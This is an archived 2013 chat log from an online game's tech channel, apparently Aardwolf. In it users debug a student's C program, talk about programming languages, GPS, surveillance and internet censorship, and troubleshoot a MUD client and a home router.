T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i did include the c++ libraries on this reinstall and it still didn't work
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it doesn't matter. either use gcc -x c <yourfile.c>   or use g++ yourfile.c
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: er, 
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: gcc -x c++
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: not -x c
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: or don't use iomanip
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: also just fyi the code you pasted includes smart quotes
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: which are bad
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it won't compile unless you replace them with regular ones
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i am sure my teacher is a bright guy but so far i have not been able to find him at his office during office hours for a face to face. not to mention that when i told him that using remove as a function (as he stated we should) was the reason the last program didn't compile right
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: what are smart quotes?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: face one direction and the other?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: instead of "
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: erg
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I guess aardwolf won't show them
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: smart quotes are the ones that don't turn the text red on that pastebin page ;)
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the angled ones
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: gotcha
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: joy and they don't select on replace
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ok it compiles but it doesn't seem to read in the data. not sure what i am missing http://pastebin.com/i5Gxb39M
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: scanf("%d", &Dollars[j])
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that's wrong
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Dollars is a float array
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nod just noticed that and changed it
T3/r7/2013-03-02.txt.gz:{chan ch=tech}ElFeneri Tech: another problem is the size a float handle in case "Dollars" is supposed to hold the US budget deficit 2012.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: the %12f?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: imo that's fine
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you should probably re-prompt for each input dollar amount though
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it's not clear from a user perspective that I need to enter N dollar amounts
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: wanna hear something funny?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i am only adding in a few parts to all of this
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: the rest is pre-made by the teacher
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I hate your teacher
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: thought you would like that
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so at the bottom in the displayData function wtf is j+1 there for?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you also have too many spaces in "Enter the  dollar amount for each : "
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: "the  dollar" -> "the dollar"
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: lol
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ya that is the teacher
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: oh. the j+1 is what was screwing it up
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: not really
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it looks like that string is just supposed to start with %d
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nod as a indicator for which deposit it is. but the way it was setup it was keeping the yen from displaying
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: not for me
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the only change needed to make the program actually work was changing scanf("%d", &Dollars[j]) to scanf("%f", &Dollars[j])
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: printf seems to happily ignore that j+1 in the absence of a leading %d
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so this is what my teacher gave me to build off of http://pastebin.com/CuzEebgT
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it looks like your teacher expects you to insert a %d in that display
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: because j+1 is clearly not a float
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nod
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: the last 'programming' class i had was for matlab. it was MUCH different than this
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: not sure if it is even considered programming
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I don't know about your class, but a lot of very real programming is done with matlab
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sonshi Tech: the only programming class I took was combined matlab/java. Matlab isn't free, so I wound up doing stuff in java when I needed it. Wonder how it compares with other languages as far as ease of learning...
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Turie Tech: I wish I knew how to program.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: Kelvar is agreeing with that Turie person again...
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Octave is free, though, as long as you don't need things like simulink/stateflow
T3/r7/2013-03-02.txt.gz:{chan ch=tech}ElFeneri Tech: There are few good courses in C these days.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: we did a lot of stuff like this in matlab but there is SO much that matlab seems to just take care of for you
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Kelvar Tech: is c alive still tho?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes
T3/r7/2013-03-02.txt.gz:{chan ch=tech}ElFeneri Tech: very alive
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Kelvar Tech: ancient language as hell
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: i remember reading of a matlab like programming language developed at some universities
T3/r7/2013-03-02.txt.gz:{chan ch=tech}ElFeneri Tech: ARM still deliver their reference code in C for ARM architecture.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Kelvar Tech: i remember doing hello world on slackware back in like 99 or something
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: matlab was really cool though. i ended up using it for my math classes instead of the stupid ti's
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sonshi Tech: I remember doing hello world on c++ and giving up shortly after. Think I still have the book I was using...
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: hello world is a silly place to stop a language. all it does is show you how to prepare yourself to write a program without actually writing one
T3/r7/2013-03-02.txt.gz:{chan ch=tech}ElFeneri Tech: Expert C programming by Peter Linden is great for those who want to get a better understanding of C.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sonshi Tech: being a newbie at these things, I can't help but wonder why I'd want to know more languages than one. I'm sure there are good reasons, but...
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: because you can't run C++ in a browser
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Martini & Tyebald Tech: same reason sometimes you want a screwdriver instead of a hammer.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: i like assembly programming still, it helps to understand all of the ways the other languages work
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sonshi Tech: yeah, I suppose. At this stage I can't tell the difference between that screwdriver and a hammer, to extend the analogy...
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: anyone work in IT/network security?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: every programmer should know at least one scripting language like python or lua
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: learning of the way the printf function is written was neat too, although i don't even remember it now, it involves some special constructs
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sonshi Tech: speaking of which, the method in java I've been using to draw picture refuses to draw more stuff than my screen resolution minus some small value. Given that I don't understand the code, I wasn't able to fix it. So sad. sigh
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: oooo, somebody teach me
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: instead of getting bored of your cout hellow world
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sonshi Tech: I don't even know what the definition of a script is, or what's the difference between a scripting language and your usual run-of-the-mill language...
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: it's amazing how complex these machines are, like the amount of libraries , how they're managed, how different levels of libraries define variable sizes etc, all those #includes etc
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: someone asked me at work the other day how a fax works. so i gave a rudimentary explaination. they responded with, 'but how does it REALLY work?'
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rondel Tech: should of sent them to the how it works youtube channel
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: a fax is just a printer attached to a telephone
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: windows i think is harder to understand than even linux, because  you have to already know what you're looking for to find it, where learning what an elf header is is soemting a book on linux would mention, finding windows' equivalent is pretty deep - or assembly programming in windows - how do you get started with that
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Rabshake: I disagree
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: for one there is no standard linux UI spec to look up. you either need to know that you're using gnome/gtk or kde/qt or whatever else
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: that's for gui programming though, and the library's are well documented, where if you download something like visual c++ you're already using a program produced by one of them
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: visual c++ is by far the greatest IDE ever produced, and the problem of windows programming is not API discoverability
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: historically the problems with windows programming have been that rarely used api calls don't necessarily work correctly and that Microsoft is almost as quick to deprecate things as Apple is, so you end up with a lot of versions of the same thing
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Apple is far worse on this, though. they just break functionality with every new version of Mac OS
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: which is why you get programs that will work on 10.4 but not 10.5 and 10.5 but not 10.6
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: i've seen a fully functional (although minimalized) graphical operating system run off a single floppy disk on a x86 cpu before
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: your notion of fully functional is archaic and wrong
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: i don't see why people're so selfish with their source code though, science tries to better itself doesn't it?  i bet there's been more billionairres created in the last 30 years than in the history of mankind (as wealth in comparison to the regular joe)
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: was there billionaires previous to the last 30 years?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: http://en.wikipedia.org/wiki/List_of_wealthiest_historical_figures
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ahh nod i am one of those annoying people that voices the question out loud and then immediately looks it up
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: sure, there was plenty - but look at all the people who got rich off of things like antivirus, from sloppily developed operating systems, applications like facebook which now sell people's pictures as a hobby, google, which gives information on everything a user ever searched for to the highest bidder, your cell phone company which gives your tracked paths to whoever they want
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: people do all kindso f banking and things over these machines now, and they don't know how they work, how safe all the steps of the transactions (typically aren't) etc
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Jhav Tech: Sounds like you, Zade, and Chemosh will all get along famously.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: what i find funny is all the people terrified about tracking devices being implemented by the government
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: things should be much more nationalized when it comes to information technology
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: mean while they carry their gps enabled phone everywhere and post where they are no less
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: hmm
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: let me put it this way...
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: digital photographs too imprint the location they were taken, so what if you were caught burning a book on camera, and the holy warriors who invested 500 million in twitter come to track down the infidels
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I want my friends to always know where I am. I want 911 to always know where I am. I don't want the FBI to always know where I am.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: because I trust the first two and not the third
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Turie Tech: I wonder if an orginizaion like "SHIELD" existed. Would you like it or not/
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: endless insecurity through computers that didn't previously exist in the filing cabinent of a secure government complex, and the mailman wasn't always creepy
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Hanslanda Tech: I wouldn't.  Ever notice how much damage superheroes end up doing trying to get the bad guys?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: too many of my close friends face very real persecution by federal agencies to ignore the dangers of letting the government access your personal location data
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rondel Tech: an organization like Shield or a world with superpowered heroes
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: but they do have their uses, i'm just saying, their producers overvalue themselves
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rondel Tech: cause we probably already have a org like shield
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Hanslanda Tech: no helicarriers yet, though
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i like the idea of friends and 911 knowing where i am. but i don't know the logistics of how my gps data is accounted for. who owns the gps satelites?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Hanslanda Tech: the military
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Hanslanda Tech: they rent out access to private firms
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: yes vorpes, precisely - that's some things that should be nationalized, and in some democratic nations the user should choose whether or not they want to be tracked
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Turie Tech: Fortune Fiendish Technology and Innovations
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: and they get the "good" data down to under a foot variance vs the public/commercial data down to about 14 feet
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: GPS is owned by the US DoD
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rondel Tech: i go by the motto for most tech things... if they got it in movies the military probably has a similiar version  near completion 
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: the military is composed of people who's families are monitored in the unforseen future in the same way as they themselves monitor others without their awareness, so it's a problem for them too
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Hanslanda Tech: not only that, but the only way to space is through the military.  If you wanna do your business, you gotta do theirs too.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: some people should be watched, like that harvard chaplain calling for death to apostates
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: maybe he was saying death to the prostates
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: hmm did we just got foil hat on here?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: but not everybody, anybody with a grudge and some money can plot assassinations with access to the tracked paths of the plausible deniability electronic network gathering data on every aspect of their daily routines
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Hanslanda Tech: everyone's watched.  We have more camaras than stop signs now.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: and how few people oversee all of this, is how much limitation any kind of dictator has on utilizing it
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sonshi Tech: wonder how much it would cost to make a completely civilian version of the gps these days...
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: no incentive to
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Jhav Tech: It would be hideously expensive.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Jhav Tech: And how would you commericalize it when the government is already providing?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sonshi Tech: just as a thought exercise, I suppose
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: oh sure, gimme 37 trillion for a thought exercise...
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: maybe government should work together on it then, and make sure that each keeps it's usage to the purpose of civilian use, and leaves their military satellites out of the realm of the civilian ones
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: government has no reason to
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: they already only give civilians limited access
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sonshi Tech: I suppose in the future it could get cheaper, if it piggybacked on other stuff
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: limited access is different from sole purpose and operational parameters of them though
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: no it isn't
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: launching and maintaining an additional 32 geosynchronous satellites which would not interfere with all the currently-existing satellites for something which gives fully zero benefit to any party is beyond stupid
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the primary reason to do it would be to protect against the threat of trivial civilian gps denial by the government. you could argue though that they could still nontrivially deny gps even if they don't own the satellites
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: by flooding the spectrum
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: which is something that has not been threatened
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it doesn't need to have been for it to be a real concern
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: i don't like the idea of almost all technology being manufactured in a communist country for instance, communism has been the governments responsible for the most crimes against humanity in possibly the history of mankind, and technology is the resting place of progress today
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: for something which has been reliably used by civilians for 40 years it does
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: monopoly shouldn't get in the way of security imo
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: and similarly, how exactly whould whomever undertakes this be deemed any more trustworthy than the existing system?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Turie Tech: I would like to see free Wi-Fi thoughout the world.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: so has the internet, but the us government wants an off button for that too
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: whichever company/conglomerate/cooperative would undertake this could then use it anti-competitively, and would have more incentive to do so
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sonshi Tech: well, if you have multiple systems competition could do the trick...
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: the us government had the most members against international censorship of the internet though
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: or the us rather
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sonshi Tech: and I certainly wouldn't say that commie govts have been responsible for the most crimes against humanity...
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sonshi Tech: think the fascists win that prize.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: i think nations being able to control the content it's citizens brouse through is ok though, i don't think international should say that for them
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish sits down and thinks deeply. 
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: you mean like China-style?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: restricting access to information is oppression
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Hanslanda Tech: the Great Firewall is effective
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Hanslanda Tech: one little switch and there's no more internet in China.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: to some degree it may be, but some governments are oppressive (more than others), and if they outnumber the less-oppressive ones on the 'internatioanl board of thought-crime internet censorship', and they win the vote, then what
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Brainfreezeo Tech: i just downloaded the aard mush client with the individual stat/ map/ communication windows but I cant find a shortcut to open it back up to my current locked layout. IThe only thing I can find is the initial installed application like its brand new
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you have to save your settings
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Turie Tech: You did not delete the World File.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: otherwise your settings won't be saved
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: counterintuitive, I know
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sonshi Tech: total freedom of information is a nice ideal, but kind of naive...
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: all you have to do is research the murder of reporters and stuff in a particular nation to see why they would like no information on the internet at all
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: there's also things like pornography, which somebody in home economics class researching how to make a cream pie for a exam, might not want to find
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: you never know
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Brainfreezeo Tech: the problem is I originally downloaded mushclient a few weeks back where everything is just on one screen. So even though I save the settings when I click the mushclient shortcut it opens up that mushclient, even though both are mushclient (does that make sense?)
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: make a new shortcut
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: get rid of the old one
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: there are no shortcuts in the downloaded client
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: you could right-click your shortcut and select a new target of the mushclient.exe in the newly-downloaded folder
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Brainfreezeo Tech: i went to the shortcut in the programs file and it still opens the old one
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: obviously
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: right
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Brainfreezeo Tech: its all mushclient
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: as it should
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Brainfreezeo Tech: the original and this new one, both the same client
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: "its all mushclient" demonstrates a lack of understanding about how computers work
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: the aard mushclient doesn't "install"...so nothing is in program files or start menu
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Brainfreezeo Tech: ok i didnt know that
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: you're welcome to PUT a shortcut there, though
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Brainfreezeo Tech: i thought it was an installed mushclient software
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you should have known that by the fact that you didn't have to install anything
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: or as I said, you can redirect the existing shortcut to point to the new download
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: it's a "portable" package, which means you can drag that folder anywhere onto any computer and it'll "just work" (provided security restrictions would allow execution)
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Brainfreezeo Tech: so when i save the settings what folder does it save to?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the one you ran
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: the newly-downloaded one, provided that's the one you're running
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Brainfreezeo Tech: since its not actually installed
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sonshi Tech: well, it's like you have a plastic box labelled "onions". You put onions in them. You recently got another plastic box labelled "onions". You open it and wonder where your onions went...
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish laughs out loud at Sonshi.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: exactly right
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sonshi Tech: you have to figure out how to move the onions to your new box
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Hanslanda Tech: one little switch and there's no more internet in China.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Hanslanda Tech: mis
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: one little switch and there's no more onions in China.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Turie Tech: One little switch and there's no more china.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: what does that have to do with the price of onions in china?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sonshi Tech: one little switch and there's no more The Onion in china
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: I wouldn't be surprised if there WERE no The Onion in china
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sonshi Tech: come to think of it, yeah, I wouldn't be surprised either.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Brainfreezeo Tech: ok i figured it out
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Brainfreezeo Tech: was pretty dumb of me actually
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Brainfreezeo Tech: i never copied the new zipped files over the old program files
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Smoke this Blunt Tech: anyone know how to trouble shoot a apple airport express router?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: another thing i think could change, is the .gov extention on websites, since only america seems to have it's own - sort of nationalizing dns system
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: for instance, australia is .gov.au
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: canada is .gov.ca
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: america is .gov
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: so you want the US to all use .us?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: US also uses .us, especially for the state sites
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: nationalizing dns doesn't sound to be such a bad idea does it?  then if amazon.com wants to be amazon.com in venezuela, they have to abide by their rules
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: yeah there is .us too, but the government extension is still there
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: no, you do NOT want nationalized DNS
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: as in one country resolving "foo.bar" to a different thing than another country resolving "foo.bar" to
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: amazon is free to direct you to venezuelaize all queries from within venezuela in the same way that Google alters your landing page in other countries
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: but DNS doesn't really work that way
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Smoke this Blunt Tech: i'm having trouble figuring out this apple router, I got my pc connected to the wifi, but it disconnects when I go 10ft away or more, though my android phone works up to 100 ft away on it
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Smoke this Blunt Tech: also apple tablet works fine from a distance, while a iphone only connects when close, like my laptop
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Hanslanda Tech: are you sure it's using your wifi and not someone else's?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Smoke this Blunt Tech: yeah, its connected to the correct network
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Smoke this Blunt Tech: a friend of mine has this apple router, i reset it to factory specs and redid everything, but it still isn't working right
